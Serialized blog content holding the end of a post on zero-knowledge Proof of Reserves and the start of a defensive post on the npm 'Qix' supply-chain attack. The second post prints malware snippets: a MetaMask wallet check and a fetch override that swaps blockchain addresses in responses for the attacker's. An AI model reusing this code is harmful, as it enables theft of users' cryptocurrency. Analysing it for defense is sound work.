download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":2678,"props":102745,"children":102746},{},[102747,102749,102754],{"type":29,"value":102748},"Open the terminal and execute ",{"type":24,"tag":80,"props":102750,"children":102752},{"className":102751},[],[102753],{"type":29,"value":102688},{"type":29,"value":102755},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":102757,"children":102758},{},[102759],{"type":29,"value":102760},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":137,"props":102762,"children":102764},{"code":102763},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[102765],{"type":24,"tag":80,"props":102766,"children":102767},{"__ignoreMap":7},[102768],{"type":29,"value":102763},{"type":24,"tag":25,"props":102770,"children":102771},{},[102772],{"type":29,"value":102773},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":137,"props":102775,"children":102777},{"code":102776},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[102778],{"type":24,"tag":80,"props":102779,"children":102780},{"__ignoreMap":7},[102781],{"type":29,"value":102776},{"type":24,"tag":32,"props":102783,"children":102784},{"id":8458},[102785],{"type":29,"value":8461},{"type":24,"tag":25,"props":102787,"children":102788},{},[102789],{"type":29,"value":102790},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":102792,"children":102793},{},[102794,102796,102802],{"type":29,"value":102795},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":2773,"props":102797,"children":102799},{"href":102611,"rel":102798},[2777],[102800],{"type":29,"value":102801},"in production",{"type":29,"value":102803}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":102805,"children":102806},{},[102807,102809,102816],{"type":29,"value":102808},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":2773,"props":102810,"children":102813},{"href":102811,"rel":102812},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[2777],[102814],{"type":29,"value":102815},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":87},{"title":7,"searchDepth":160,"depth":160,"links":102818},[102819,102820,102821,102822,102825,102830,102834,102835,102839],{"id":98069,"depth":160,"text":98072},{"id":98150,"depth":160,"text":98153},{"id":98220,"depth":160,"text":98223},{"id":98274,"depth":160,"text":98277,"children":102823},[102824],{"id":98353,"depth":169,"text":98356},{"id":98441,"depth":160,"text":98444,"children":102826},[102827,102828,102829],{"id":98514,"depth":169,"text":98517},{"id":98986,"depth":169,"text":98989},{"id":100725,"depth":169,"text":100728},{"id":102303,"depth":160,"text":102306,"children":102831},[102832,102833],{"id":14903,"depth":169,"text":102311},{"id":102365,"depth":169,"text":102368},{"id":102495,"depth":160,"text":102498},{"id":102626,"depth":160,"text":102629,"children":102836},[102837,102838],{"id":102637,"depth":169,"text":102640},{"id":102705,"depth":169,"text":102708},{"id":8458,"depth":160,"text":8461},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":102844,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102845,"description":102846,"date":102847,"author":36801,"image":102848,"isFeatured":16,"onBlogPage":16,"tags":102850,"body":102853,"_type":8496,"_id":105278,"_source":8498,"_file":105279,"_stem":105280,"_extension":8501},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":102849,"width":14,"height":15},"/posts/supply-chain-attcks/title.png",[102851,102852],"npm","supply-chain",{"type":21,"children":102854,"toc":105261},[102855,102868,102873,102878,102884,102889,102897,103227,103235,103798,103806,104512,104518,104523,104529,104534,104539,104545,104550,104562,104567,104593,104680,104692,104717,104733,104738,104743,104949,104991,104996,105008,105014,105026,105068,105081,105161,105173,105186,105193,105204,105212,105218,105231,105236,105240,105245,105257],{"type":24,"tag":25,"props":102856,"children":102857},{},[102858,102860,102866],{"type":29,"value":102859},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":80,"props":102861,"children":102863},{"className":102862},[],[102864],{"type":29,"value":102865},"chalk",{"type":29,"value":102867},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":102869,"children":102870},{},[102871],{"type":29,"value":102872},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":102874,"children":102875},{},[102876],{"type":29,"value":102877},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":32,"props":102879,"children":102881},{"id":102880},"qix-malware-how-it-worked",[102882],{"type":29,"value":102883},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":102885,"children":102886},{},[102887],{"type":29,"value":102888},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":2674,"props":102890,"children":102891},{},[102892],{"type":24,"tag":2678,"props":102893,"children":102894},{},[102895],{"type":29,"value":102896},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":137,"props":102898,"children":102900},{"code":102899,"language":36966,"meta":7,"className":36964,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[102901],{"type":24,"tag":80,"props":102902,"children":102903},{"__ignoreMap":7},[102904,102924,102936,102980,102997,103004,103040,103052,103080,103100,103120,103132,103139,103174,103194,103206,103213,103220],{"type":24,"tag":147,"props":102905,"children":102906},{"class":149,"line":150},[102907,102911,102915,102920],{"type":24,"tag":147,"props":102908,"children":102909},{"style":218},[102910],{"type":29,"value":41746},{"type":24,"tag":147,"props":102912,"children":102913},{"style":218},[102914],{"type":29,"value":43811},{"type":24,"tag":147,"props":102916,"children":102917},{"style":229},[102918],{"type":29,"value":102919}," checkethereumw",{"type":24,"tag":147,"props":102921,"children":102922},{"style":235},[102923],{"type":29,"value":21347},{"type":24,"tag":147,"props":102925,"children":102926},{"class":149,"line":160},[102927,102932],{"type":24,"tag":147,"props":102928,"children":102929},{"style":321},[102930],{"type":29,"value":102931},"  try",{"type":24,"tag":147,"props":102933,"children":102934},{"style":235},[102935],{"type":29,"value":6630},{"type":24,"tag":147,"props":102937,"children":102938},{"class":149,"line":169},[102939,102943,102948,102952,102956,102960,102964,102968,102972,102976],{"type":24,"tag":147,"props":102940,"children":102941},{"style":218},[102942],{"type":29,"value":57260},{"type":24,"tag":147,"props":102944,"children":102945},{"style":247},[102946],{"type":29,"value":102947}," _0x124ed3",{"type":24,"tag":147,"props":102949,"children":102950},{"style":241},[102951],{"type":29,"value":651},{"type":24,"tag":147,"props":102953,"children":102954},{"style":321},[102955],{"type":29,"value":41812},{"type":24,"tag":147,"props":102957,"children":102958},{"style":247},[102959],{"type":29,"value":37008},{"type":24,"tag":147,"props":102961,"children":102962},{"style":235},[102963],{"type":29,"value":87},{"type":24,"tag":147,"props":102965,"children":102966},{"style":247},[102967],{"type":29,"value":37017},{"type":24,"tag":147,"props":102969,"children":102970},{"style":235},[102971],{"type":29,"value":87},{"type":24,"tag":147,"props":102973,"children":102974},{"style":229},[102975],{"type":29,"value":37093},{"type":24,"tag":147,"props":102977,"children":102978},{"style":235},[102979],{"type":29,"value":20752},{"type":24,"tag":147,"props":102981,"children":102982},{"class":149,"line":178},[102983,102988,102992],{"type":24,"tag":147,"props":102984,"children":102985},{"style":3534},[102986],{"type":29,"value":102987},"      'method'",{"type":24,"tag":147,"props":102989,"children":102990},{"style":247},[102991],{"type":29,"value":978},{"type":24,"tag":147,"props":102993,"children":102994},{"style":3534},[102995],{"type":29,"value":102996}," \"eth_accounts\"\n",{"type":24,"tag":147,"props":102998,"children":102999},{"class":149,"line":187},[103000],{"type":24,"tag":147,"props":103001,"children":103002},{"style":235},[103003],{"type":29,"value":37857},{"type":24,"tag":147,"props":103005,"children":103006},{"class":149,"line":196},[103007,103011,103015,103020,103024,103028,103032,103036],{"type":24,"tag":147,"props":103008,"children":103009},{"style":321},[103010],{"type":29,"value":4759},{"type":24,"tag":147,"props":103012,"children":103013},{"style":235},[103014],{"type":29,"value":408},{"type":24,"tag":147,"props":103016,"children":103017},{"style":247},[103018],{"type":29,"value":103019},"_0x124ed3",{"type":24,"tag":147,"props":103021,"children":103022},{"style":235},[103023],{"type":29,"value":87},{"type":24,"tag":147,"props":103025,"children":103026},{"style":247},[103027],{"type":29,"value":14129},{"type":24,"tag":147,"props":103029,"children":103030},{"style":241},[103031],{"type":29,"value":19808},{"type":24,"tag":147,"props":103033,"children":103034},{"style":705},[103035],{"type":29,"value":708},{"type":24,"tag":147,"props":103037,"children":103038},{"style":235},[103039],{"type":29,"value":505},{"type":24,"tag":147,"props":103041,"children":103042},{"class":149,"line":205},[103043,103048],{"type":24,"tag":147,"props":103044,"children":103045},{"style":229},[103046],{"type":29,"value":103047},"      runmask",{"type":24,"tag":147,"props":103049,"children":103050},{"style":235},[103051],{"type":29,"value":9295},{"type":24,"tag":147,"props":103053,"children":103054},{"class":149,"line":214},[103055,103059,103063,103068,103072,103076],{"type":24,"tag":147,"props":103056,"children":103057},{"style":321},[103058],{"type":29,"value":44883},{"type":24,"tag":147,"props":103060,"children":103061},{"style":235},[103062],{"type":29,"value":408},{"type":24,"tag":147,"props":103064,"children":103065},{"style":247},[103066],{"type":29,"value":103067},"rund",{"type":24,"tag":147,"props":103069,"children":103070},{"style":241},[103071],{"type":29,"value":69968},{"type":24,"tag":147,"props":103073,"children":103074},{"style":705},[103075],{"type":29,"value":10147},{"type":24,"tag":147,"props":103077,"children":103078},{"style":235},[103079],{"type":29,"value":505},{"type":24,"tag":147,"props":103081,"children":103082},{"class":149,"line":272},[103083,103088,103092,103096],{"type":24,"tag":147,"props":103084,"children":103085},{"style":247},[103086],{"type":29,"value":103087},"        rund",{"type":24,"tag":147,"props":103089,"children":103090},{"style":241},[103091],{"type":29,"value":651},{"type":24,"tag":147,"props":103093,"children":103094},{"style":705},[103095],{"type":29,"value":10147},{"type":24,"tag":147,"props":103097,"children":103098},{"style":235},[103099],{"type":29,"value":432},{"type":24,"tag":147,"props":103101,"children":103102},{"class":149,"line":281},[103103,103108,103112,103116],{"type":24,"tag":147,"props":103104,"children":103105},{"style":247},[103106],{"type":29,"value":103107},"        neth",{"type":24,"tag":147,"props":103109,"children":103110},{"style":241},[103111],{"type":29,"value":651},{"type":24,"tag":147,"props":103113,"children":103114},{"style":705},[103115],{"type":29,"value":10147},{"type":24,"tag":147,"props":103117,"children":103118},{"style":235},[103119],{"type":29,"value":432},{"type":24,"tag":147,"props":103121,"children":103122},{"class":149,"line":299},[103123,103128],{"type":24,"tag":147,"props":103124,"children":103125},{"style":229},[103126],{"type":29,"value":103127},"        newdlocal",{"type":24,"tag":147,"props":103129,"children":103130},{"style":235},[103131],{"type":29,"value":9295},{"type":24,"tag":147,"props":103133,"children":103134},{"class":149,"line":308},[103135],{"type":24,"tag":147,"props":103136,"children":103137},{"style":235},[103138],{"type":29,"value":18282},{"type":24,"tag":147,"props":103140,"children":103141},{"class":149,"line":317},[103142,103146,103150,103154,103158,103162,103166,103170],{"type":24,"tag":147,"props":103143,"children":103144},{"style":235},[103145],{"type":29,"value":6620},{"type":24,"tag":147,"props":103147,"children":103148},{"style":321},[103149],{"type":29,"value":6625},{"type":24,"tag":147,"props":103151,"children":103152},{"style":321},[103153],{"type":29,"value":21397},{"type":24,"tag":147,"props":103155,"children":103156},{"style":235},[103157],{"type":29,"value":408},{"type":24,"tag":147,"props":103159,"children":103160},{"style":247},[103161],{"type":29,"value":103067},{"type":24,"tag":147,"props":103163,"children":103164},{"style":241},[103165],{"type":29,"value":69968},{"type":24,"tag":147,"props":103167,"children":103168},{"style":705},[103169],{"type":29,"value":10147},{"type":24,"tag":147,"props":103171,"children":103172},{"style":235},[103173],{"type":29,"value":505},{"type":24,"tag":147,"props":103175,"children":103176},{"class":149,"line":332},[103177,103182,103186,103190],{"type":24,"tag":147,"props":103178,"children":103179},{"style":247},[103180],{"type":29,"value":103181},"      rund",{"type":24,"tag":147,"props":103183,"children":103184},{"style":241},[103185],{"type":29,"value":651},{"type":24,"tag":147,"props":103187,"children":103188},{"style":705},[103189],{"type":29,"value":10147},{"type":24,"tag":147,"props":103191,"children":103192},{"style":235},[103193],{"type":29,"value":432},{"type":24,"tag":147,"props":103195,"children":103196},{"class":149,"line":350},[103197,103202],{"type":24,"tag":147,"props":103198,"children":103199},{"style":229},[103200],{"type":29,"value":103201},"      newdlocal",{"type":24,"tag":147,"props":103203,"children":103204},{"style":235},[103205],{"type":29,"value":9295},{"type":24,"tag":147,"props":103207,"children":103208},{"class":149,"line":358},[103209],{"type":24,"tag":147,"props":103210,"children":103211},{"style":235},[103212],{"type":29,"value":1952},{"type":24,"tag":147,"props":103214,"children":103215},{"class":149,"line":397},[103216],{"type":24,"tag":147,"props":103217,"children":103218},{"style":235},[103219],{"type":29,"value":11496},{"type":24,"tag":147,"props":103221,"children":103222},{"class":149,"line":421},[103223],{"type":24,"tag":147,"props":103224,"children":103225},{"style":235},[103226],{"type":29,"value":827},{"type":24,"tag":2674,"props":103228,"children":103229},{"start":160},[103230],{"type":24,"tag":2678,"props":103231,"children":103232},{},[103233],{"type":29,"value":103234},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":137,"props":103236,"children":103238},{"code":103237,"language":36966,"meta":7,"className":36964,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[103239],{"type":24,"tag":80,"props":103240,"children":103241},{"__ignoreMap":7},[103242,103277,103334,103396,103411,103448,103487,103502,103541,103548,103581,103597,103656,103694,103719,103744,103768,103776,103791],{"type":24,"tag":147,"props":103243,"children":103244},{"class":149,"line":150},[103245,103249,103253,103257,103261,103265,103269,103273],{"type":24,"tag":147,"props":103246,"children":103247},{"style":229},[103248],{"type":29,"value":39695},{"type":24,"tag":147,"props":103250,"children":103251},{"style":241},[103252],{"type":29,"value":651},{"type":24,"tag":147,"props":103254,"children":103255},{"style":218},[103256],{"type":29,"value":41965},{"type":24,"tag":147,"props":103258,"children":103259},{"style":218},[103260],{"type":29,"value":43811},{"type":24,"tag":147,"props":103262,"children":103263},{"style":235},[103264],{"type":29,"value":408},{"type":24,"tag":147,"props":103266,"children":103267},{"style":241},[103268],{"type":29,"value":15212},{"type":24,"tag":147,"props":103270,"children":103271},{"style":247},[103272],{"type":29,"value":43825},{"type":24,"tag":147,"props":103274,"children":103275},{"style":235},[103276],{"type":29,"value":505},{"type":24,"tag":147,"props":103278,"children":103279},{"class":149,"line":160},[103280,103284,103289,103293,103297,103302,103306,103310,103314,103318,103322,103326,103330],{"type":24,"tag":147,"props":103281,"children":103282},{"style":218},[103283],{"type":29,"value":41789},{"type":24,"tag":147,"props":103285,"children":103286},{"style":247},[103287],{"type":29,"value":103288}," originalResponse",{"type":24,"tag":147,"props":103290,"children":103291},{"style":241},[103292],{"type":29,"value":651},{"type":24,"tag":147,"props":103294,"children":103295},{"style":321},[103296],{"type":29,"value":41812},{"type":24,"tag":147,"props":103298,"children":103299},{"style":247},[103300],{"type":29,"value":103301}," originalFetch",{"type":24,"tag":147,"props":103303,"children":103304},{"style":235},[103305],{"type":29,"value":87},{"type":24,"tag":147,"props":103307,"children":103308},{"style":229},[103309],{"type":29,"value":43893},{"type":24,"tag":147,"props":103311,"children":103312},{"style":235},[103313],{"type":29,"value":480},{"type":24,"tag":147,"props":103315,"children":103316},{"style":218},[103317],{"type":29,"value":23299},{"type":24,"tag":147,"props":103319,"children":103320},{"style":235},[103321],{"type":29,"value":546},{"type":24,"tag":147,"props":103323,"children":103324},{"style":241},[103325],{"type":29,"value":15212},{"type":24,"tag":147,"props":103327,"children":103328},{"style":247},[103329],{"type":29,"value":43825},{"type":24,"tag":147,"props":103331,"children":103332},{"style":235},[103333],{"type":29,"value":1473},{"type":24,"tag":147,"props":103335,"children":103336},{"class":149,"line":169},[103337,103341,103346,103350,103354,103358,103363,103367,103371,103375,103380,103384,103388,103392],{"type":24,"tag":147,"props":103338,"children":103339},{"style":218},[103340],{"type":29,"value":41789},{"type":24,"tag":147,"props":103342,"children":103343},{"style":247},[103344],{"type":29,"value":103345}," contentType",{"type":24,"tag":147,"props":103347,"children":103348},{"style":241},[103349],{"type":29,"value":651},{"type":24,"tag":147,"props":103351,"children":103352},{"style":247},[103353],{"type":29,"value":103288},{"type":24,"tag":147,"props":103355,"children":103356},{"style":235},[103357],{"type":29,"value":87},{"type":24,"tag":147,"props":103359,"children":103360},{"style":247},[103361],{"type":29,"value":103362},"headers",{"type":24,"tag":147,"props":103364,"children":103365},{"style":235},[103366],{"type":29,"value":87},{"type":24,"tag":147,"props":103368,"children":103369},{"style":229},[103370],{"type":29,"value":21960},{"type":24,"tag":147,"props":103372,"children":103373},{"style":235},[103374],{"type":29,"value":480},{"type":24,"tag":147,"props":103376,"children":103377},{"style":3534},[103378],{"type":29,"value":103379},"'Content-Type'",{"type":24,"tag":147,"props":103381,"children":103382},{"style":235},[103383],{"type":29,"value":564},{"type":24,"tag":147,"props":103385,"children":103386},{"style":241},[103387],{"type":29,"value":3593},{"type":24,"tag":147,"props":103389,"children":103390},{"style":3534},[103391],{"type":29,"value":37439},{"type":24,"tag":147,"props":103393,"children":103394},{"style":235},[103395],{"type":29,"value":432},{"type":24,"tag":147,"props":103397,"children":103398},{"class":149,"line":178},[103399,103403,103407],{"type":24,"tag":147,"props":103400,"children":103401},{"style":218},[103402],{"type":29,"value":13481},{"type":24,"tag":147,"props":103404,"children":103405},{"style":247},[103406],{"type":29,"value":1103},{"type":24,"tag":147,"props":103408,"children":103409},{"style":235},[103410],{"type":29,"value":432},{"type":24,"tag":147,"props":103412,"children":103413},{"class":149,"line":187},[103414,103418,103422,103427,103431,103435,103439,103444],{"type":24,"tag":147,"props":103415,"children":103416},{"style":321},[103417],{"type":29,"value":3057},{"type":24,"tag":147,"props":103419,"children":103420},{"style":235},[103421],{"type":29,"value":408},{"type":24,"tag":147,"props":103423,"children":103424},{"style":247},[103425],{"type":29,"value":103426},"contentType",{"type":24,"tag":147,"props":103428,"children":103429},{"style":235},[103430],{"type":29,"value":87},{"type":24,"tag":147,"props":103432,"children":103433},{"style":229},[103434],{"type":29,"value":40782},{"type":24,"tag":147,"props":103436,"children":103437},{"style":235},[103438],{"type":29,"value":480},{"type":24,"tag":147,"props":103440,"children":103441},{"style":3534},[103442],{"type":29,"value":103443},"'application/json'",{"type":24,"tag":147,"props":103445,"children":103446},{"style":235},[103447],{"type":29,"value":1432},{"type":24,"tag":147,"props":103449,"children":103450},{"class":149,"line":196},[103451,103455,103459,103463,103467,103471,103475,103479,103483],{"type":24,"tag":147,"props":103452,"children":103453},{"style":247},[103454],{"type":29,"value":48828},{"type":24,"tag":147,"props":103456,"children":103457},{"style":241},[103458],{"type":29,"value":651},{"type":24,"tag":147,"props":103460,"children":103461},{"style":321},[103462],{"type":29,"value":41812},{"type":24,"tag":147,"props":103464,"children":103465},{"style":247},[103466],{"type":29,"value":103288},{"type":24,"tag":147,"props":103468,"children":103469},{"style":235},[103470],{"type":29,"value":87},{"type":24,"tag":147,"props":103472,"children":103473},{"style":229},[103474],{"type":29,"value":21032},{"type":24,"tag":147,"props":103476,"children":103477},{"style":235},[103478],{"type":29,"value":35769},{"type":24,"tag":147,"props":103480,"children":103481},{"style":229},[103482],{"type":29,"value":39598},{"type":24,"tag":147,"props":103484,"children":103485},{"style":235},[103486],{"type":29,"value":9295},{"type":24,"tag":147,"props":103488,"children":103489},{"class":149,"line":205},[103490,103494,103498],{"type":24,"tag":147,"props":103491,"children":103492},{"style":235},[103493],{"type":29,"value":37068},{"type":24,"tag":147,"props":103495,"children":103496},{"style":321},[103497],{"type":29,"value":6625},{"type":24,"tag":147,"props":103499,"children":103500},{"style":235},[103501],{"type":29,"value":6630},{"type":24,"tag":147,"props":103503,"children":103504},{"class":149,"line":214},[103505,103509,103513,103517,103521,103525,103529,103533,103537],{"type":24,"tag":147,"props":103506,"children":103507},{"style":247},[103508],{"type":29,"value":48828},{"type":24,"tag":147,"props":103510,"children":103511},{"style":241},[103512],{"type":29,"value":651},{"type":24,"tag":147,"props":103514,"children":103515},{"style":321},[103516],{"type":29,"value":41812},{"type":24,"tag":147,"props":103518,"children":103519},{"style":247},[103520],{"type":29,"value":103288},{"type":24,"tag":147,"props":103522,"children":103523},{"style":235},[103524],{"type":29,"value":87},{"type":24,"tag":147,"props":103526,"children":103527},{"style":229},[103528],{"type":29,"value":21032},{"type":24,"tag":147,"props":103530,"children":103531},{"style":235},[103532],{"type":29,"value":35769},{"type":24,"tag":147,"props":103534,"children":103535},{"style":229},[103536],{"type":29,"value":29},{"type":24,"tag":147,"props":103538,"children":103539},{"style":235},[103540],{"type":29,"value":9295},{"type":24,"tag":147,"props":103542,"children":103543},{"class":149,"line":272},[103544],{"type":24,"tag":147,"props":103545,"children":103546},{"style":235},[103547],{"type":29,"value":11496},{"type":24,"tag":147,"props":103549,"children":103550},{"class":149,"line":281},[103551,103555,103560,103564,103569,103573,103577],{"type":24,"tag":147,"props":103552,"children":103553},{"style":218},[103554],{"type":29,"value":41789},{"type":24,"tag":147,"props":103556,"children":103557},{"style":247},[103558],{"type":29,"value":103559}," processedData",{"type":24,"tag":147,"props":103561,"children":103562},{"style":241},[103563],{"type":29,"value":651},{"type":24,"tag":147,"props":103565,"children":103566},{"style":229},[103567],{"type":29,"value":103568}," replaceAddresses",{"type":24,"tag":147,"props":103570,"children":103571},{"style":235},[103572],{"type":29,"value":480},{"type":24,"tag":147,"props":103574,"children":103575},{"style":247},[103576],{"type":29,"value":1139},{"type":24,"tag":147,"props":103578,"children":103579},{"style":235},[103580],{"type":29,"value":1473},{"type":24,"tag":147,"props":103582,"children":103583},{"class":149,"line":299},[103584,103588,103593],{"type":24,"tag":147,"props":103585,"children":103586},{"style":218},[103587],{"type":29,"value":41789},{"type":24,"tag":147,"props":103589,"children":103590},{"style":247},[103591],{"type":29,"value":103592}," finalResponseText",{"type":24,"tag":147,"props":103594,"children":103595},{"style":241},[103596],{"type":29,"value":41456},{"type":24,"tag":147,"props":103598,"children":103599},{"class":149,"line":308},[103600,103605,103609,103613,103618,103623,103627,103631,103635,103639,103643,103647,103652],{"type":24,"tag":147,"props":103601,"children":103602},{"style":218},[103603],{"type":29,"value":103604},"    typeof",{"type":24,"tag":147,"props":103606,"children":103607},{"style":247},[103608],{"type":29,"value":103559},{"type":24,"tag":147,"props":103610,"children":103611},{"style":241},[103612],{"type":29,"value":37022},{"type":24,"tag":147,"props":103614,"children":103615},{"style":3534},[103616],{"type":29,"value":103617}," 'string'",{"type":24,"tag":147,"props":103619,"children":103620},{"style":241},[103621],{"type":29,"value":103622}," ?",{"type":24,"tag":147,"props":103624,"children":103625},{"style":247},[103626],{"type":29,"value":103559},{"type":24,"tag":147,"props":103628,"children":103629},{"style":241},[103630],{"type":29,"value":40717},{"type":24,"tag":147,"props":103632,"children":103633},{"style":247},[103634],{"type":29,"value":43126},{"type":24,"tag":147,"props":103636,"children":103637},{"style":235},[103638],{"type":29,"value":87},{"type":24,"tag":147,"props":103640,"children":103641},{"style":229},[103642],{"type":29,"value":44829},{"type":24,"tag":147,"props":103644,"children":103645},{"style":235},[103646],{"type":29,"value":480},{"type":24,"tag":147,"props":103648,"children":103649},{"style":247},[103650],{"type":29,"value":103651},"processedData",{"type":24,"tag":147,"props":103653,"children":103654},{"style":235},[103655],{"type":29,"value":1473},{"type":24,"tag":147,"props":103657,"children":103658},{"class":149,"line":317},[103659,103663,103668,103672,103676,103681,103685,103690],{"type":24,"tag":147,"props":103660,"children":103661},{"style":218},[103662],{"type":29,"value":41789},{"type":24,"tag":147,"props":103664,"children":103665},{"style":247},[103666],{"type":29,"value":103667}," finalResponse",{"type":24,"tag":147,"props":103669,"children":103670},{"style":241},[103671],{"type":29,"value":651},{"type":24,"tag":147,"props":103673,"children":103674},{"style":218},[103675],{"type":29,"value":37533},{"type":24,"tag":147,"props":103677,"children":103678},{"style":229},[103679],{"type":29,"value":103680}," Response",{"type":24,"tag":147,"props":103682,"children":103683},{"style":235},[103684],{"type":29,"value":480},{"type":24,"tag":147,"props":103686,"children":103687},{"style":247},[103688],{"type":29,"value":103689},"finalResponseText",{"type":24,"tag":147,"props":103691,"children":103692},{"style":235},[103693],{"type":29,"value":54480},{"type":24,"tag":147,"props":103695,"children":103696},{"class":149,"line":332},[103697,103702,103706,103710,103715],{"type":24,"tag":147,"props":103698,"children":103699},{"style":247},[103700],{"type":29,"value":103701},"    status:",{"type":24,"tag":147,"props":103703,"children":103704},{"style":247},[103705],{"type":29,"value":103288},{"type":24,"tag":147,"props":103707,"children":103708},{"style":235},[103709],{"type":29,"value":87},{"type":24,"tag":147,"props":103711,"children":103712},{"style":247},[103713],{"type":29,"value":103714},"status",{"type":24,"tag":147,"props":103716,"children":103717},{"style":235},[103718],{"type":29,"value":1549},{"type":24,"tag":147,"props":103720,"children":103721},{"class":149,"line":350},[103722,103727,103731,103735,103740],{"type":24,"tag":147,"props":103723,"children":103724},{"style":247},[103725],{"type":29,"value":103726},"    statusText:",{"type":24,"tag":147,"props":103728,"children":103729},{"style":247},[103730],{"type":29,"value":103288},{"type":24,"tag":147,"props":103732,"children":103733},{"style":235},[103734],{"type":29,"value":87},{"type":24,"tag":147,"props":103736,"children":103737},{"style":247},[103738],{"type":29,"value":103739},"statusText",{"type":24,"tag":147,"props":103741,"children":103742},{"style":235},[103743],{"type":29,"value":1549},{"type":24,"tag":147,"props":103745,"children":103746},{"class":149,"line":358},[103747,103752,103756,103760,103764],{"type":24,"tag":147,"props":103748,"children":103749},{"style":247},[103750],{"type":29,"value":103751},"    headers:",{"type":24,"tag":147,"props":103753,"children":103754},{"style":247},[103755],{"type":29,"value":103288},{"type":24,"tag":147,"props":103757,"children":103758},{"style":235},[103759],{"type":29,"value":87},{"type":24,"tag":147,"props":103761,"children":103762},{"style":247},[103763],{"type":29,"value":103362},{"type":24,"tag":147,"props":103765,"children":103766},{"style":235},[103767],{"type":29,"value":1549},{"type":24,"tag":147,"props":103769,"children":103770},{"class":149,"line":397},[103771],{"type":24,"tag":147,"props":103772,"children":103773},{"style":235},[103774],{"type":29,"value":103775},"  